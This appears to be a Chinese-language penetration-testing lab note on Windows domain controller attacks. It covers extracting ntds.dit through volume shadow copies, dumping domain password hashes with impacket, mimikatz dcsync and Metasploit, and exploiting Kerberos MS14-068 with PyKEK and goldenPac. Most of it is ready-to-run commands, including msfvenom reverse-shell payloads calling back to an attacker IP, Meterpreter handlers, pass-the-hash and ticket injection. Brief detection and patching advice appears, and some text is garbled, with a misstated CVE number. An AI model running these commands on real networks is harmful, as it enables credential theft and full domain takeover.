第6章域控制器安全
目錄
6.2.3在Windows下解析ntds.dit並導出域賬號和域散列值
6.5使用wshadow.exe和QuarksPwDumpexe導出域賬號和域散列值
第6章域控制器安全
在通常情況下、即使擁有管理員權限,也無法讀取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活動目錄始終訪問這個文件,所以文件被禁止讀取)。使用Windows本地卷影拷貝服務可以獲得文件的副本。
6.1使用卷影拷貝服務提取ntds.dit
在活動目錄中,所有的數據都保存在 ntds.dit文件中。ntds.dit是一個二進制文件,存儲位置為域控制器的%SystemRoot%ntds\ntds.dit。ntds.dit 中包含(但不限於)用戶名、散列值、組、GPP、OU等與活動目錄相關的信息。它和SAM文件一樣,是被Windows操作系統鎖定的。本節將介紹如何從系統中導出ntds.dit,以及如何讀取ntds.dit中的信息。在一般情況下,系統運維人員會利用卷影拷貝服務(Volume Shadow Copy Service, VSS)實現這些操作。VSS本質上屬快照(Snapshot)技術的一種,主要用於備份和恢復(即使目標文件處於鎖定狀態)。
6.1.1通過ntdsutil.exe提取ntds.dit
ntdsutil.exe是一個為活動目錄提供管理機制的命令行工具。使用 ntdsutil.exe,可以維護和管理活動目錄數據庫、控制單個主機操作、創建應用程序目錄分區、刪除由未使用活動目錄安裝向導(DCPromo.exe)成功降級的域控制器留下的元數據等。該工具默認安裝在域控制器上、可以在域控制器上直接操作,也可以通過域內機器在域控制器上遠程操作。ntdsutil.exe支持的操作系統有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。
下面通過實驗來講解使用ntdsutil.exe提取ntds.dit的方法。
1.在域控制器的命令行環境中創建一個快照。該快照包含Windows的所有文件,且在復制文件時不會受到Windows鎖定機制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit

可以看到,創建了一個GUID為{c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}的快照。
2.加載創建的快照
ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit

3.復制快照中的文件
copy C:\$SNAP_202012281442_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public
4.卸載之前加載的快照並刪除
ntdsutil snapshot "unmount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" "delete {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit

5.查詢當前快照
ntdsutil snapshot "List All" quit quit

6.1.2 利用 vssadmin提取 ntds.dit
vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用於創建和刪除卷影拷貝、列出卷影拷貝的信息(只能管理系統 Provider創建的卷影拷貝)、顯示已安裝的所有卷影拷貝寫入程序(writers)和提供程序(providers),以及改變卷影拷貝的存儲空間(即所謂的“diff空間”)的大小等。vssadminn 的操作流程和ntdsutil類似
1.在域控制器中打開命令行環境,輸入如下命令,創建一個C盤的卷影拷貝
vssadmin create shadow /for=c:
2.在創建的卷影拷貝中將ntds.dit 復制出來
-
copy \ \ ? \GLOBALROOT \Device \HarddiskVolumeShadowCopy2 \windows \NTDS \ntds.dit c : \ntds.dit
-
dir c : \ |findstr "ntds"

3.刪除快照
vssadmin delete shadows /for=c: /quiet

6.1.3利用vssown.vbs腳本提取ntds.dit
vssown.vbs腳本的功能和vssadmin類似。vssown.vbs 腳本是由Tim Tomes開發的,可用於創建和刪除卷影拷貝,以及啟動和停止卷影拷貝服務。可以在命令行環境中執行該腳本。該腳本中的常用命令如下
-
//啟動卷影拷貝服務
-
cscript vssown. vbs /start
-
1/創建一個C盤的卷影拷貝
-
cscript vssown. vbs /create c
-
//列出當前卷影拷貝
-
cscript vssown. vbs /list
-
//刪除卷影拷貝
-
cscript vssown. vbs / delete
1.啟動卷影拷貝服務
cscript vssown.vbs /start
2.創建一個C盤的卷影拷貝
cscript vssown.vbs /create c
3.列出當前卷影拷貝
cscript vssown.vbs /list
4.復制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit
5.刪除卷影拷貝
cscript vssown.vbs /delete {9AB33ECE-8FF2-49A8-9305-101993C6648E}

6.1.4使用ntdsutil的iFM創建卷影拷貝
除了按照前面介紹的方法通過執行命令來提取ntds dit,也可以使用創建一個 IFM的方式獲取nsdi。在使用ntdsutil創建IFM時,需要進行生成快照、加載、將ntds. dit和計算機的SAM文件復制到目標文件夾中等操作。這些操作也可以通過PowerShell或WMI遠程執行
1.在域控制器中以管理員模式打開命令行
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

2.將ntds.dit復制到c:\test\Active Directory\文件夾下,將SYSTEM和SECURITY復制到c:\test\registry文件夾下
-
dir "c:\test\Active Directory"
-
dir "c:\test\registry"

3.將ntds.dit拖回本地,刪除test文件夾
rmdir /s /q test
4.nishang中有一個powershell腳本copy-vss.ps1。
-
import- module .\ Copy. VSS. ps1
-
Copy-vss
6.1.5使用diskshadow導出ntds.dit
微軟官方文檔中有這樣的說明:“diskshadow.exe 這款工具可以使用卷影拷貝服務(VSS)所提供的多個功能。在默認配置下,diskshadow.exe 使用了一種交互式命令解釋器, 與DiskRaid或DiskPart類似。”事實上,因為diskshadow的代碼是由微軟簽名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默認包含diskshadow,所以,diskshadow 也可以用來操作卷影拷貝服務並導出ntds dit。diskshadow的功能與vshadow類似,且同樣位於C:windows\system32\目錄下。不過,vshdow是包含在Windows SDK中的,在實際應用中可能需要將其上傳到目標機器中。
diskhadow 有交互和非交互兩種模式。在使用交互模式時,需要登錄遠程桌面的圖形化管理界面。不論是交互模式還是非交互模式,都可以使用exee調取一個腳本 文件來執行相關命令。下面通過實驗講解diskshadow的常見命令及用法。
diskshadow.exe /? #查看diskshadow.exe的幫助信息
在滲透測試中,可以使用diskshadow.exe來執行命令。例如,將需要執行的命令"exec c:\windows\system32\calc.exe"寫入c盤目錄下的command.txt文件,使用diskshadow.exe執行該文件中的命令
c:\>diskshadow /s c:\commmand.txt

使用diskshadow.exe加載command.txt文件時需要在c:\windows\system32下執行
c:\Windows\System32>diskshadow /s c:\command.txt
-
//設置卷影拷貝
-
set context persistent nowriters
-
//添加卷
-
add volume c: alias someAlias
-
//創建快照
-
create
-
//分配虛擬磁盤盤符
-
expose %someAlias% k:
-
//將ntds.dit復制到C盤c:\ntds.dit
-
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit
-
//刪除所有快照
-
delete shadows all
-
//列出系統中的卷影拷貝
-
list shadows all
-
//重置
-
reset
-
//退出
-
exit

導出ntds.dit后,可以將system, hive轉儲。因為system.hive中存放着ntds.dit的密鑰,所以如果沒有該密鑰,將無法查看ntds.dit中的信息
c:\>reg save hklm\system c:\windows\temp\system.hive
注意事項
- 滲透測試人員可以在非特權用戶權限下使用diskshadow.exe 的部分功能。與其他工具相比,diskshadow 的使用更為靈活。
- 在使用diskshadow.exe 執行命令時,需要將文本文件上傳到目標操作系統的本地磁盤中,或者通過交互模式完成操作。而在使用vshadow等工具時,可以直接執行相關命令。
- 在滲透測試中,應該先將含有需要執行的命令的文本文件寫人遠程目標操作系統,再使用diskshadow.exe調用該文本文件。
- 在使用diskshadow.exe導出ntds.dit時,可以通過WMI對遠程主機進行操作。
- 在使用diskshadow.exe導出ntds.dit時,必須在C:windowssystem32\中進行操作。
- 腳本執行后,要檢查從快照中復制出來的ntds.dit文件的大小。如果文件大小發生了改變,可以檢查或修改腳本后重新執行。
6.1.6 監控卷影拷貝服務的使用情況
通過監控卷影拷貝服務的使用情況,可以及時發現攻擊者在系統中進行的一些惡意操作。
- 監控卷影拷貝服務及任何涉及活動目錄數據庫文件(ntds.dit)的可疑操作行為。
- 監控System Event ID 7036(卷影拷貝服務進人運行狀態的標志)的可疑實例,以及創建vssvc.exe進程的事件。
- 監控創建dkshndko.exe及相關子進程的事件。
- 監控客戶端設備中的diskshadow.exe實例創建事件。除非業務需要, 在Windows操作系統中不應該出現diskshadow.exe.如果發現,應立刻將其刪除。
- 通過日志監控新出現的邏輯驅動器映射事件。
6.2導出ntds.dit中的散列值
6.2.1使用 esedbexport恢復ntds.dit
https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz 文件不存在,未安裝成功
6.2.2使用impacket工具包導出散列值
-
git clone https://github.com/csababarta/ntdsxtract.git
-
┌──(root💀kali)-[/tools/ntdsxtract]
-
└─ # python setup.py install
-
┌──(root💀kali)-[/tools/ntdsxtract]
-
└─ # impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL #導出ntds.dit中的散列值。

impacket還可以通過用戶名和散列值進行驗證,從遠程域控制器中讀取ntds.dit並轉儲域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:f478e94103927311912ff00846210a30 -just-dc testlab.com/Administrator@1.1.1.8

6.2.3在Windows下解析ntds.dit並導出域賬號和域散列值
使用NTDSDumpex.exe可以進行導出散列值的操作。NTDSDumpex將ntds.dit、SYSTEM和NTDSDumpex.exe放在同一日錄下,打開命令行環境,輸人如下命令,導出域賬號和域散列值
C:\Users\Administrator\Desktop>NTDSDumpEx.exe -d ntds.dit -s system

6.3利用dcsync獲取域散列值
6.3.1使用 mimikatz轉儲域散列值
mimikaz有一個 deyne功能,可以利用卷影拷貝服務直接讀取ntds.dit文件並檢索城散列值。需要注意的是,必須使用域管理員權限運行mimikatz才可以讀取ntds.dit.
1.在域內的任意一台計算機,以管理員權限打開命令行環境
-
lsadump::dcsync /domain:hello.testlab.com /all /csv #導出域內所有用戶名及散列值
-
lsadump::dcsync /domain:hello.testlab.com /user:Administrator #導出用戶Administrator的散列值。
-
-
privilege::debug
-
lsadump::lsa /inject #轉儲lsass.exe進程對散列值進行Dump操作
-
如果沒有預先執行prvile::debug命令,將導致權限不足、讀取失敗。如果用戶數量太多,mimikatz 無法完全將其顯示出來,可以先執行 log命令(會在mimikatz目錄下生成一個文本文件,用於記錄mimikaz的所有執行結果)。

6.3.2使用dcsync獲取域賬號和域散列值
Invoke _DCSync.ps1可以利用desync直接讀取ntds.dit,以獲取域賬號和域散列值
輸人"nvoke-DCSync -PWDumpFormat"命令(-PWDumpFormat參數用於對輸出的內容進行格式化)
-
PS C:\Users\Administrator > Import - Module .\Invoke -DCSync.ps1
-
PS C:\Users\Administrator > Invoke -DCSync -PWDumpFormat

6.4使用Metasploit獲取域散列值
1. psexec_ntdsgrab模塊的使用
-
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > back
-
msf6 > use auxiliary/admin/smb/psexec_ntdsgrab
-
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show options
-
-
Module options (auxiliary/admin/smb/psexec_ntdsgrab):
-
-
Name Current Setting Required Description
-
---- --------------- -------- -----------
-
CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy
-
RHOSTS 1.1 .1 .8 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
-
RPORT 445 yes The SMB service port (TCP)
-
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
-
SERVICE_DISPLAY_NAME no The service display name
-
SERVICE_NAME no The service name
-
SMBDomain hello.testlab no The Windows domain to use for authentication
-
SMBPass 123456Aa no The password for the specified username
-
SMBSHARE C$ yes The name of a writeable share on the server
-
SMBUser Administrator no The username to authenticate as
-
VSCPATH no The path to the target Volume Shadow Copy
-
WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT)
-
-
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run
-
-
獲取到ntds.dit文件和system復制到 /root/.msf6/loot文件夾下,使用impacket工具包進行解析ntds.dit文件。
2.基於meterpreter會話獲取域賬號和散列值。
-
msf6 > use exploit/multi/handler #創建監聽
-
[*] Using configured payload generic/shell_reverse_tcp
-
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
-
payload => windows/x64/meterpreter/reverse_tcp
-
msf6 exploit(multi/handler) > set lhost 1.1.1.5
-
lhost => 1.1.1.5
-
msf6 exploit(multi/handler) > set lport 777
-
lport => 777
-
-
┌──(root💀kali)-[/var/www/html]
-
└─ # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=777 -f exe > ser.exe #生成的文件上傳到目標機器並執行
-
-
msf6 exploit(multi/handler) > exploit -j -z
-
[*] Exploit running as background job 0.
-
[*] Exploit completed, but no session was created.
-
[*] Started reverse TCP handler on 1.1.1.5:777
-
-
msf6 exploit(multi/handler) > use post/windows/gather/credentials/domain_hashdump #使用后滲透模塊獲取賬戶和域散列值。
-
msf6 post(windows/gather/credentials/domain_hashdump) > show options
-
msf6 post(windows/gather/credentials/domain_hashdump) > set SESSION 2
-
SESSION => 2
-
msf6 post(windows/gather/credentials/domain_hashdump) > exploit
-

6.5使用wshadow.exe和QuarksPwDumpexe導出域賬號和域散列值
在正常的域環境中,ntds.dit文件里包含大量的信息,體積較大,不方便保存到本地。如果域控制器上沒有安裝殺毒軟件,攻擊者就能直接進人域控制器,導出ntds.dit並獲得域賬號和域散列值,而不需要將ntds.dit保存到本地。
QuarksPwDump可以快速、安全、全面地讀取全部域賬號和域散列值。
ShadowCopy是一款免費的增強 型文件復制工具。ShadowCopy 使用微軟的卷影拷貝技術,能夠復制被鎖定的文件及被其他程序打開的文件。
vshdow.exe是從Windows SDK中提取出來的。在本實驗中,安裝vshadow.exe 后,會在VSSDK72\TestApps\vshadow目錄下生成一個bin文件vshadow.xce (可以將該文件單獨提取出來使用)將文件全部放人domainhash文件夾中
在shadowcopy.bat中設置工作目錄為C:Windows\Temp(目錄可以在shadowcopy.bat中自行設置)
執行shaowopba腳本(該腳本使用vshadow.exe生成快照),復制ntds.dit.然后,使用QuarksPwDump修復ntds.dit並導出域散列值。運行該腳本后,會在剛剛設置的工作目錄下存放導出的ntds.dit和hash.txt(包含域內所有的域賬號及其散列值)。
本節列舉了多種導出用戶散列值的方法。在獲得散列值后,可以使用本地工具或者在線工具對其進行破解。如果采用本地破解的方式,可以使用Cain LC7、Opherack、SAMInside、Hashal 等工具。如果采用在線破解的方式,針對NTLM Hash的在線破解網站針對LM Hash的在線破解網站
6.6Kerberos域用戶提權漏洞分析與防范
微軟在2014年1月18日發布了一個緊急補了,修復了Kerhers 城用戶提權漏潤(MS14-068 CVE201462424)所有Windwos服務器操作系統都會受該漏洞的影響,包括WindowsServer2003、Windows Server 208 Windows Sever 2008 R2、Windows Server 2012和Win2012R2。該漏洞可導致活動目錄整體權限控制受到影響,允許攻擊者將城內任意用戶權限提升至域管理級別。通俗地講,如果攻擊者獲取了城內任何台計算機的Shell 權限,同時知道任意城用的用戶名、SID、密碼,即可獲得城管理員權限,進而控制域控制器,最終獲得域權限。
這個漏洞產生的原因是:用戶在向Kerberos 密明分發中心( KDC)申請TGT由票據授權服務產生的身份憑證)時,可以偽造自己的Kerberos票據。如果票據聲明自己有域管理員權限,而在處理該票據時未驗證票據的簽名, 那么返給用戶的 TGT就使普通域管理用戶權限。該用戶可以將TGT發送到KDC, KDC的TGS (票據授權服務)在驗證TGT后,將服務票據(Service Ticket)發送給該用戶,而該用戶擁有訪問任何該服務的權限,從而使攻擊者可以訪問域內的資源。
6.6.1測試環境
- 域: hello
- 域SID:S-1-5-21-2850215151-526022293-2118279608-500
- Kai Linux機器的IP地址: 1.1.1.5
- 域機器的IP地址: 1.1.1.10
6.6.2 PyKEK工具包
pyKEK (Pybon Kerberos Expoiation Kit)是利用Kerberos協議進行滲透測試的工具包,使用PyKEK可以生生成一張高權原的服務票據,並通過mimikatz將服務票據注人內存。
PyKEK只需要系統中配置Python 2.7環境就可以運行。使用PyKEK,可以將Python文件轉換為可執行文件
1.工具說明
ms14-068. py是PyKEK工具包中的MS14-068漏洞利用腳本
-
-u <userName>@ <domainName>:用戶名@域名。
-
-s <userSid>: 用戶SID。
-
-d <domainControlerAddr>:域控制器地址。
-
-p <clearPassword>: 明文密碼。
-
--rc4 <ntlmHash>:在沒有明文密碼的情況下,通過NTLM Hash登錄。
2.查看域控制器的補丁安裝情況
微軟針對MS14-068 ( CVE-2014-6324 )漏洞提供的補丁為KB3011780
wmic qfe get hotfixid
3.查看用戶的SID
-
whoami / user
-
wmic useraccount get name,sid

4.生成高權限票據
-
ms14 - 068.exe -u 與成員名 -s 域成員sid -d 域控制器地址 -p域成員密碼
-
-
python ms14 - 068.py -u administrator\ -s S - 1 - 5 - 21 - 2850215151 - 2118279608 - 500 -d 1.1. 1.10 -p 123456Aa
5.查看注入前的權限
-
將票據文件復制到mimikatz目錄下
-
net use \ \win - 2012 \ c $ 權限拒絕
6.清除內存中的所有票據
kerberos::purge #tickets purge for current session is OK 代表清除成功。
7.將高權限票據注入內存
kerberos::ptc "TGT_user1@hello.com.ccache"
8.驗證權限
-
dir 列出域控制器 c盤的內容
-
net use 連接ip可能會失敗,所以使用機器名連接
6.6.3 goldenPac py
goldenPac.py是一個用於對Kerberos進行測試的工具,它集成在impacket/examples下。
python goldenPac.py 域名/域成員用戶:域成員用戶密碼@域控制器地址
1.安裝Kerberos客戶端
Kali中默認不包含Kerberos客戶端,因此需要單獨安裝,命令如下。
apt-get install krb5-user -y
2. 配合使用PsExec獲取域控制器的Shell,使用goldenPac py獲取域控制器的Shell
goldenPac.py hello.com/Administrator:123456Aa@1.1.1.10
6.6.4在Metasploit進行測試
-
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
-
設置參數
-
exploit
格式轉換
-
msf不支持導入bin文件。使用mimikatz進行格式轉化
-
kerberos::clist ".......bin" / export
msfvenom生成一個反向shell
msfvenom -p /windows/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=7777 -f exe > shell.exe
msf設置監聽
-
use exploit/multi/reverse_tcp
-
exploit
-
-
getuid 查看權限
-
load kiwi
-
kerberos_ticket_use/tmp/...kirbi #導入票據
-
background
-
使用高權限票據進行測試
-
-
msf6 > use exploit/windows/local/current_user_psexec
-
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
-
msf6 exploit(windows/local/current_user_psexec) > set payload windows/meterpreter/reverse_tcp
-
payload => windows/meterpreter/reverse_tcp
-
msf6 exploit(windows/local/current_user_psexec) > set TECHNIQUE PSH
-
TECHNIQUE => PSH
-
msf6 exploit(windows/local/current_user_psexec) > set RHOSTS win2008.hello.com
-
RHOSTS => win2008.hello.com
-
msf6 exploit(windows/local/current_user_psexec) > set lhost 1.1.1.5
-
lhost => 1.1.1.5
-
msf6 exploit(windows/local/current_user_psexec) > set session 1
-
session => 1
-
msf6 exploit(windows/local/current_user_psexec) > exploit
6.6.5防范建議
- 開啟Windows Update功能,進行自動更新。
- 手動下載補丁包進行修復。微軟已經發布了修復該漏洞的補丁
- 對域內賬號進行控制,禁止使用弱口令,及時、定期修改密碼。
- 在服務器上安裝反病毒軟件,及時更新病毒庫。

